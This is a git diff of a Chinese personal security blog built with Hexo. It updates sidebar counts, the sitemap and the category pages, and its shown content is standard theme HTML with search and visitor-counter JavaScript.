+          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
+            
+              <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
+            
+              <p class="site-author-name" itemprop="name">Cool-Y</p>
+              <p class="site-description motion-element" itemprop="description"></p>
+          </div>
+
+          <nav class="site-state motion-element">
+
+            
+              <div class="site-state-item site-state-posts">
+              
+                <a href="/archives/">
+              
+                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-name">日志</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-categories">
+                <a href="/categories/index.html">
+                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-name">分类</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-tags">
+                <a href="/tags/index.html">
+                  <span class="site-state-item-count">25</span>
+                  <span class="site-state-item-name">标签</span>
+                </a>
+              </div>
+            
+
+          </nav>
+
+          
+
+          
+            <div class="links-of-author motion-element">
+                
+                  <span class="links-of-author-item">
+                    <a href="https://github.com/Cool-Y" target="_blank" title="GitHub">
+                      
+                        <i class="fa fa-fw fa-github"></i>GitHub</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="http://weibo.com/HanYanOpenFire" target="_blank" title="Weibo">
+                      
+                        <i class="fa fa-fw fa-weibo"></i>Weibo</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="mailto:cool.yim@whu.edu.cn" target="_blank" title="E-Mail">
+                      
+                        <i class="fa fa-fw fa-envelope"></i>E-Mail</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="https://www.instagram.com/yan__han/" target="_blank" title="Instagram">
+                      
+                        <i class="fa fa-fw fa-instagram"></i>Instagram</a>
+                  </span>
+                
+            </div>
+          
+
+          
+          
+
+          
+          
+
+          
+
+        </div>
+      </section>
+
+      
+
+      
+
+    </div>
+  </aside>
+
+
+        
+      </div>
+    </main>
+
+    <footer id="footer" class="footer">
+      <div class="footer-inner">
+        <div class="copyright">&copy; <span itemprop="copyrightYear">2019</span>
+  <span class="with-love">
+    <i class="fa fa-user"></i>
+  </span>
+  <span class="author" itemprop="copyrightHolder">Cool-Y</span>
+
+  
+    <span class="post-meta-divider">|</span>
+    <span class="post-meta-item-icon">
+      <i class="fa fa-area-chart"></i>
+    </span>
+    
+    <span title="Site words total count">14.9k</span>
+  
+</div>
+
+
+  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>
+
+
+
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+        
+<div class="busuanzi-count">
+    <script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
+
+  
+    <span class="site-uv">
+      <i class="fa fa-user"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
+      
+    </span>
+  
+
+  
+    <span class="site-pv">
+      <i class="fa fa-eye"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
+      
+    </span>
+  
+</div>
+
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+
+        
+      </div>
+    </footer>
+
+    
+      <div class="back-to-top">
+        <i class="fa fa-arrow-up"></i>
+        
+      </div>
+    
+
+    
+
+  </div>
+
+  
+
+<script type="text/javascript">
+  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
+    window.Promise = null;
+  }
+</script>
+
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+  
+    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
+  
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+    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
+  
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+  
+  
+    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
+  
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+  
+    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
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+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
+  
+
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+  
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+
+  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>
+
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+  
+  
+
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+  <script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>
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+  <script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>
+
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+  
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+  
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+  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>
+
+
+
+  
+
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+  
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+
+
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+	
+
+
+
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+
+  
+
+
+
+
+
+  
+
+
+
+
+
+
+
+<!-- LOCAL: You can save these files to your site and update links -->
+    
+        
+        <link rel="stylesheet" href="https://aimingoo.github.io/gitmint/style/default.css">
+        <script src="https://aimingoo.github.io/gitmint/dist/gitmint.browser.js"></script>
+    
+<!-- END LOCAL -->
+
+    
+
+    
+
+
+
+
+
+
+
+  
+
+  <script type="text/javascript">
+    // Popup Window;
+    var isfetched = false;
+    var isXml = true;
+    // Search DB path;
+    var search_path = "search.xml";
+    if (search_path.length === 0) {
+      search_path = "search.xml";
+    } else if (/json$/i.test(search_path)) {
+      isXml = false;
+    }
+    var path = "/" + search_path;
+    // monitor main search box;
+
+    var onPopupClose = function (e) {
+      $('.popup').hide();
+      $('#local-search-input').val('');
+      $('.search-result-list').remove();
+      $('#no-result').remove();
+      $(".local-search-pop-overlay").remove();
+      $('body').css('overflow', '');
+    }
+
+    function proceedsearch() {
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
+        .css('overflow', 'hidden');
+      $('.search-popup-overlay').click(onPopupClose);
+      $('.popup').toggle();
+      var $localSearchInput = $('#local-search-input');
+      $localSearchInput.attr("autocapitalize", "none");
+      $localSearchInput.attr("autocorrect", "off");
+      $localSearchInput.focus();
+    }
+
+    // search function;
+    var searchFunc = function(path, search_id, content_id) {
+      'use strict';
+
+      // start loading animation
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay">' +
+          '<div id="search-loading-icon">' +
+          '<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
+          '</div>' +
+          '</div>')
+        .css('overflow', 'hidden');
+      $("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');
+
+      $.ajax({
+        url: path,
+        dataType: isXml ? "xml" : "json",
+        async: true,
+        success: function(res) {
+          // get the contents from search data
+          isfetched = true;
+          $('.popup').detach().appendTo('.header-inner');
+          var datas = isXml ? $("entry", res).map(function() {
+            return {
+              title: $("title", this).text(),
+              content: $("content",this).text(),
+              url: $("url" , this).text()
+            };
+          }).get() : res;
+          var input = document.getElementById(search_id);
+          var resultContent = document.getElementById(content_id);
+          var inputEventFunction = function() {
+            var searchText = input.value.trim().toLowerCase();
+            var keywords = searchText.split(/[\s\-]+/);
+            if (keywords.length > 1) {
+              keywords.push(searchText);
+            }
+            var resultItems = [];
+            if (searchText.length > 0) {
+              // perform local searching
+              datas.forEach(function(data) {
+                var isMatch = false;
+                var hitCount = 0;
+                var searchTextCount = 0;
+                var title = data.title.trim();
+                var titleInLowerCase = title.toLowerCase();
+                var content = data.content.trim().replace(/<[^>]+>/g,"");
+                var contentInLowerCase = content.toLowerCase();
+                var articleUrl = decodeURIComponent(data.url);
+                var indexOfTitle = [];
+                var indexOfContent = [];
+                // only match articles with not empty titles
+                if(title != '') {
+                  keywords.forEach(function(keyword) {
+                    function getIndexByWord(word, text, caseSensitive) {
+                      var wordLen = word.length;
+                      if (wordLen === 0) {
+                        return [];
+                      }
+                      var startPosition = 0, position = [], index = [];
+                      if (!caseSensitive) {
+                        text = text.toLowerCase();
+                        word = word.toLowerCase();
+                      }
+                      while ((position = text.indexOf(word, startPosition)) > -1) {
+                        index.push({position: position, word: word});
+                        startPosition = position + wordLen;
+                      }
+                      return index;
+                    }
+
+                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
+                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
+                  });
+                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
+                    isMatch = true;
+                    hitCount = indexOfTitle.length + indexOfContent.length;
+                  }
+                }
+
+                // show search results
+
+                if (isMatch) {
+                  // sort index by position of keyword
+
+                  [indexOfTitle, indexOfContent].forEach(function (index) {
+                    index.sort(function (itemLeft, itemRight) {
+                      if (itemRight.position !== itemLeft.position) {
+                        return itemRight.position - itemLeft.position;
+                      } else {
+                        return itemLeft.word.length - itemRight.word.length;
+                      }
+                    });
+                  });
+
+                  // merge hits into slices
+
+                  function mergeIntoSlice(text, start, end, index) {
+                    var item = index[index.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    var hits = [];
+                    var searchTextCountInSlice = 0;
+                    while (position + word.length <= end && index.length != 0) {
+                      if (word === searchText) {
+                        searchTextCountInSlice++;
+                      }
+                      hits.push({position: position, length: word.length});
+                      var wordEnd = position + word.length;
+
+                      // move to next position of hit
+
+                      index.pop();
+                      while (index.length != 0) {
+                        item = index[index.length - 1];
+                        position = item.position;
+                        word = item.word;
+                        if (wordEnd > position) {
+                          index.pop();
+                        } else {
+                          break;
+                        }
+                      }
+                    }
+                    searchTextCount += searchTextCountInSlice;
+                    return {
+                      hits: hits,
+                      start: start,
+                      end: end,
+                      searchTextCount: searchTextCountInSlice
+                    };
+                  }
+
+                  var slicesOfTitle = [];
+                  if (indexOfTitle.length != 0) {
+                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
+                  }
+
+                  var slicesOfContent = [];
+                  while (indexOfContent.length != 0) {
+                    var item = indexOfContent[indexOfContent.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    // cut out 100 characters
+                    var start = position - 20;
+                    var end = position + 80;
+                    if(start < 0){
+                      start = 0;
+                    }
+                    if (end < position + word.length) {
+                      end = position + word.length;
+                    }
+                    if(end > content.length){
+                      end = content.length;
+                    }
+                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
+                  }
+
+                  // sort slices in content by search text's count and hits' count
+
+                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
+                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
+                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
+                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
+                      return sliceRight.hits.length - sliceLeft.hits.length;
+                    } else {
+                      return sliceLeft.start - sliceRight.start;
+                    }
+                  });
+
+                  // select top N slices in content
+
+                  var upperBound = parseInt('1');
+                  if (upperBound >= 0) {
+                    slicesOfContent = slicesOfContent.slice(0, upperBound);
+                  }
+
+                  // highlight title and content
+
+                  function highlightKeyword(text, slice) {
+                    var result = '';
+                    var prevEnd = slice.start;
+                    slice.hits.forEach(function (hit) {
+                      result += text.substring(prevEnd, hit.position);
+                      var end = hit.position + hit.length;
+                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
+                      prevEnd = end;
+                    });
+                    result += text.substring(prevEnd, slice.end);
+                    return result;
+                  }
+
+                  var resultItem = '';
+
+                  if (slicesOfTitle.length != 0) {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
+                  } else {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
+                  }
+
+                  slicesOfContent.forEach(function (slice) {
+                    resultItem += "<a href='" + articleUrl + "'>" +
+                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
+                      "...</p>" + "</a>";
+                  });
+
+                  resultItem += "</li>";
+                  resultItems.push({
+                    item: resultItem,
+                    searchTextCount: searchTextCount,
+                    hitCount: hitCount,
+                    id: resultItems.length
+                  });
+                }
+              })
+            };
+            if (keywords.length === 1 && keywords[0] === "") {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
+            } else if (resultItems.length === 0) {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
+            } else {
+              resultItems.sort(function (resultLeft, resultRight) {
+                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
+                  return resultRight.searchTextCount - resultLeft.searchTextCount;
+                } else if (resultLeft.hitCount !== resultRight.hitCount) {
+                  return resultRight.hitCount - resultLeft.hitCount;
+                } else {
+                  return resultRight.id - resultLeft.id;
+                }
+              });
+              var searchResultList = '<ul class=\"search-result-list\">';
+              resultItems.forEach(function (result) {
+                searchResultList += result.item;
+              })
+              searchResultList += "</ul>";
+              resultContent.innerHTML = searchResultList;
+            }
+          }
+
+          if ('auto' === 'auto') {
+            input.addEventListener('input', inputEventFunction);
+          } else {
+            $('.search-icon').click(inputEventFunction);
+            input.addEventListener('keypress', function (event) {
+              if (event.keyCode === 13) {
+                inputEventFunction();
+              }
+            });
+          }
+
+          // remove loading animation
+          $(".local-search-pop-overlay").remove();
+          $('body').css('overflow', '');
+
+          proceedsearch();
+        }
+      });
+    }
+
+    // handle and trigger popup window;
+    $('.popup-trigger').click(function(e) {
+      e.stopPropagation();
+      if (isfetched === false) {
+        searchFunc(path, 'local-search-input', 'local-search-result');
+      } else {
+        proceedsearch();
+      };
+    });
+
+    $('.popup-btn-close').click(onPopupClose);
+    $('.popup').click(function(e){
+      e.stopPropagation();
+    });
+    $(document).on('keyup', function (event) {
+      var shouldDismissSearchPopup = event.which === 27 &&
+        $('.search-popup').is(':visible');
+      if (shouldDismissSearchPopup) {
+        onPopupClose();
+      }
+    });
+  </script>
+
+
+
+
+
+  
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+  
+  <script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js"></script>
+  <script>AV.initialize("EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz", "x8FxDrYG79C8YFrTww9ljo8K");</script>
+  <script>
+    function showTime(Counter) {
+      var query = new AV.Query(Counter);
+      var entries = [];
+      var $visitors = $(".leancloud_visitors");
+
+      $visitors.each(function () {
+        entries.push( $(this).attr("id").trim() );
+      });
+
+      query.containedIn('url', entries);
+      query.find()
+        .done(function (results) {
+          var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
+
+          if (results.length === 0) {
+            $visitors.find(COUNT_CONTAINER_REF).text(0);
+            return;
+          }
+
+          for (var i = 0; i < results.length; i++) {
+            var item = results[i];
+            var url = item.get('url');
+            var time = item.get('time');
+            var element = document.getElementById(url);
+
+            $(element).find(COUNT_CONTAINER_REF).text(time);
+          }
+          for(var i = 0; i < entries.length; i++) {
+            var url = entries[i];
+            var element = document.getElementById(url);
+            var countSpan = $(element).find(COUNT_CONTAINER_REF);
+            if( countSpan.text() == '') {
+              countSpan.text(0);
+            }
+          }
+        })
+        .fail(function (object, error) {
+          console.log("Error: " + error.code + " " + error.message);
+        });
+    }
+
+    function addCount(Counter) {
+      var $visitors = $(".leancloud_visitors");
+      var url = $visitors.attr('id').trim();
+      var title = $visitors.attr('data-flag-title').trim();
+      var query = new AV.Query(Counter);
+
+      query.equalTo("url", url);
+      query.find({
+        success: function(results) {
+          if (results.length > 0) {
+            var counter = results[0];
+            counter.fetchWhenSave(true);
+            counter.increment("time");
+            counter.save(null, {
+              success: function(counter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(counter.get('time'));
+              },
+              error: function(counter, error) {
+                console.log('Failed to save Visitor num, with error message: ' + error.message);
+              }
+            });
+          } else {
+            var newcounter = new Counter();
+            /* Set ACL */
+            var acl = new AV.ACL();
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+            newcounter.setACL(acl);
+            /* End Set ACL */
+            newcounter.set("title", title);
+            newcounter.set("url", url);
+            newcounter.set("time", 1);
+            newcounter.save(null, {
+              success: function(newcounter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(newcounter.get('time'));
+              },
+              error: function(newcounter, error) {
+                console.log('Failed to create');
+              }
+            });
+          }
+        },
+        error: function(error) {
+          console.log('Error:' + error.code + " " + error.message);
+        }
+      });
+    }
+
+    $(function() {
+      var Counter = AV.Object.extend("Counter");
+      if ($('.leancloud_visitors').length == 1) {
+        addCount(Counter);
+      } else if ($('.post-title-link').length > 1) {
+        showTime(Counter);
+      }
+    });
+  </script>
+
+
+
+  
+
+  
+<script>
+(function(){
+    var bp = document.createElement('script');
+    var curProtocol = window.location.protocol.split(':')[0];
+    if (curProtocol === 'https') {
+        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
+    }
+    else {
+        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
+    }
+    var s = document.getElementsByTagName("script")[0];
+    s.parentNode.insertBefore(bp, s);
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+</script>
+
+
+  
+  
+
+  
+
+  
+
+  
+
+</body>
+</html>
diff --git a/baidu_urls.txt b/baidu_urls.txt
index a3202c5e..bcd3484d 100644
--- a/baidu_urls.txt
+++ b/baidu_urls.txt
@@ -1,5 +1,5 @@
+https://cool-y.github.io/2019/03/28/逆向工程实验/
 https://cool-y.github.io/2019/03/25/Samba-CVE/
 https://cool-y.github.io/2019/03/23/auto-send-WX/
 https://cool-y.github.io/2019/03/16/小米固件工具mkxqimage/
-https://cool-y.github.io/2019/02/22/qq数据库的加密解密/
-https://cool-y.github.io/2019/01/16/wifi半双工侧信道攻击学习笔记/
\ No newline at end of file
+https://cool-y.github.io/2019/02/22/qq数据库的加密解密/
\ No newline at end of file
diff --git a/baidusitemap.xml b/baidusitemap.xml
index cafbcd8f..1e042039 100644
--- a/baidusitemap.xml
+++ b/baidusitemap.xml
@@ -1,6 +1,12 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
   <url>
+    <loc>https://cool-y.github.io/2018/12/25/TCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E/</loc>
+    <lastmod>2019-03-28</lastmod>
+  </url>  <url>
+    <loc>https://cool-y.github.io/2019/03/28/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B%E5%AE%9E%E9%AA%8C/</loc>
+    <lastmod>2019-03-28</lastmod>
+  </url>  <url>
     <loc>https://cool-y.github.io/2019/03/25/Samba-CVE/</loc>
     <lastmod>2019-03-25</lastmod>
   </url>  <url>
@@ -18,9 +24,6 @@
   </url>  <url>
     <loc>https://cool-y.github.io/2018/11/16/BIBA%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E6%A8%A1%E5%9E%8B%E5%AE%9E%E7%8E%B0(python)/</loc>
     <lastmod>2019-03-23</lastmod>
-  </url>  <url>
-    <loc>https://cool-y.github.io/2018/12/25/TCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E/</loc>
-    <lastmod>2019-03-23</lastmod>
   </url>  <url>
     <loc>https://cool-y.github.io/2019/02/22/qq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86/</loc>
     <lastmod>2019-03-22</lastmod>
diff --git a/bookmarks/index.html b/bookmarks/index.html
index 6514d837..6bf279f7 100644
--- a/bookmarks/index.html
+++ b/bookmarks/index.html
@@ -403,7 +403,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
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@@ -414,7 +414,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -425,7 +425,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -518,7 +518,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/categories/IOT/index.html b/categories/IOT/index.html
index 84187eb6..2578911f 100644
--- a/categories/IOT/index.html
+++ b/categories/IOT/index.html
@@ -430,7 +430,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
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@@ -441,7 +441,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -452,7 +452,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -529,7 +529,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/categories/index.html b/categories/index.html
index 1c972b55..a5c17299 100644
--- a/categories/index.html
+++ b/categories/index.html
@@ -308,10 +308,10 @@
         
           <div class="category-all-page">
             <div class="category-all-title">
-                目前共计 6 个分类
+                目前共计 7 个分类
             </div>
             <div class="category-all">
-              <ul class="category-list"><li class="category-list-item"><a class="category-list-link" href="/categories/IOT/">IOT</a><span class="category-list-count">3</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/二进制漏洞/">二进制漏洞</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/加密解密/">加密解密</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/杂七杂八/">杂七杂八</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/理论学习/">理论学习</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/顶会论文/">顶会论文</a><span class="category-list-count">2</span></li></ul>
+              <ul class="category-list"><li class="category-list-item"><a class="category-list-link" href="/categories/二进制/">-二进制</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/IOT/">IOT</a><span class="category-list-count">3</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/二进制/">二进制</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/加密解密/">加密解密</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/杂七杂八/">杂七杂八</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/理论学习/">理论学习</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/顶会论文/">顶会论文</a><span class="category-list-count">2</span></li></ul>
             </div>
           </div>
         
@@ -369,7 +369,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -380,7 +380,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -391,7 +391,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -468,7 +468,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/categories/二进制/index.html b/categories/二进制/index.html
new file mode 100644
index 00000000..5799e5ea
--- /dev/null
+++ b/categories/二进制/index.html
@@ -0,0 +1,1132 @@
+<!DOCTYPE html>
+
+
+
+  
+
+
+<html class="theme-next gemini use-motion" lang="zh-Hans">
+<head><meta name="generator" content="Hexo 3.8.0">
+  <meta charset="UTF-8">
+<meta http-equiv="X-UA-Compatible" content="IE=edge">
+<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
+<meta name="theme-color" content="#222">
+
+
+
+
+
+
+
+
+
+<meta http-equiv="Cache-Control" content="no-transform">
+<meta http-equiv="Cache-Control" content="no-siteapp">
+
+
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+
+
+
+  
+  
+  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">
+
+
+
+
+
+
+
+<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">
+
+<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">
+
+
+  <link rel="apple-touch-icon" sizes="180x180" href="/images/hackerrank.png?v=5.1.4">
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+  <link rel="icon" type="image/png" sizes="32x32" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="icon" type="image/png" sizes="16x16" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">
+
+
+
+
+
+  <meta name="keywords" content="Hexo, NexT">
+
+
+
+
+
+
+
+
+
+
+<meta property="og:type" content="website">
+<meta property="og:title" content="混元霹雳手">
+<meta property="og:url" content="https://cool-y.github.io/categories/二进制/index.html">
+<meta property="og:site_name" content="混元霹雳手">
+<meta property="og:locale" content="zh-Hans">
+<meta name="twitter:card" content="summary">
+<meta name="twitter:title" content="混元霹雳手">
+
+
+
+<script type="text/javascript" id="hexo.configurations">
+  var NexT = window.NexT || {};
+  var CONFIG = {
+    root: '/',
+    scheme: 'Gemini',
+    version: '5.1.4',
+    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
+    fancybox: true,
+    tabs: true,
+    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
+    duoshuo: {
+      userId: '0',
+      author: '博主'
+    },
+    algolia: {
+      applicationID: '',
+      apiKey: '',
+      indexName: '',
+      hits: {"per_page":10},
+      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
+    }
+  };
+</script>
+
+
+
+  <link rel="canonical" href="https://cool-y.github.io/categories/二进制/">
+
+
+
+
+
+  <title>分类: 二进制 | 混元霹雳手</title>
+  
+
+
+
+
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+
+
+</head>
+
+<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">
+
+  
+  
+    
+  
+
+  <div class="container sidebar-position-left ">
+    <div class="headband"></div>
+
+    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
+      <div class="header-inner"><div class="site-brand-wrapper">
+  <div class="site-meta ">
+    
+
+    <div class="custom-logo-site-title">
+      <a href="/" class="brand" rel="start">
+        <span class="logo-line-before"><i></i></span>
+        <span class="site-title">混元霹雳手</span>
+        <span class="logo-line-after"><i></i></span>
+      </a>
+    </div>
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+        <p class="site-subtitle"></p>
+      
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+    <button>
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+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
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+  </div>
+</div>
+
+<nav class="site-nav">
+  
+
+  
+    <ul id="menu" class="menu">
+      
+        
+        <li class="menu-item menu-item-home">
+          <a href="/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
+            
+            首页
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-about">
+          <a href="/about/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
+            
+            关于
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-tags">
+          <a href="/tags/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
+            
+            标签
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-categories">
+          <a href="/categories/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-th"></i> <br>
+            
+            分类
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-archives">
+          <a href="/archives/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
+            
+            归档
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+        </li>
+      
+        
+        <li class="menu-item menu-item-bookmarks">
+          <a href="/bookmarks/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-map"></i> <br>
+            
+            书签
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+        </li>
+      
+
+      
+        <li class="menu-item menu-item-search">
+          
+            <a href="javascript:;" class="popup-trigger">
+          
+            
+              <i class="menu-item-icon fa fa-search fa-fw"></i> <br>
+            
+            搜索
+          </a>
+        </li>
+      
+    </ul>
+  
+
+  
+    <div class="site-search">
+      
+  <div class="popup search-popup local-search-popup">
+  <div class="local-search-header clearfix">
+    <span class="search-icon">
+      <i class="fa fa-search"></i>
+    </span>
+    <span class="popup-btn-close">
+      <i class="fa fa-times-circle"></i>
+    </span>
+    <div class="local-search-input-wrapper">
+      <input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
+    </div>
+  </div>
+  <div id="local-search-result"></div>
+</div>
+
+
+
+    </div>
+  
+</nav>
+
+
+
+ </div>
+    </header>
+
+    <main id="main" class="main">
+      <div class="main-inner">
+        <div class="content-wrap">
+          <div id="content" class="content">
+            
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+  
+  
+  
+  <div class="post-block category">
+
+    <div id="posts" class="posts-collapse">
+      <div class="collection-title">
+        <h1>二进制<small>分类</small>
+        </h1>
+      </div>
+
+      
+        
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2018/12/25/TCPDUMP拒绝服务攻击漏洞/" itemprop="url">
+              
+                <span itemprop="name">TCPDUMP拒绝服务攻击漏洞</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
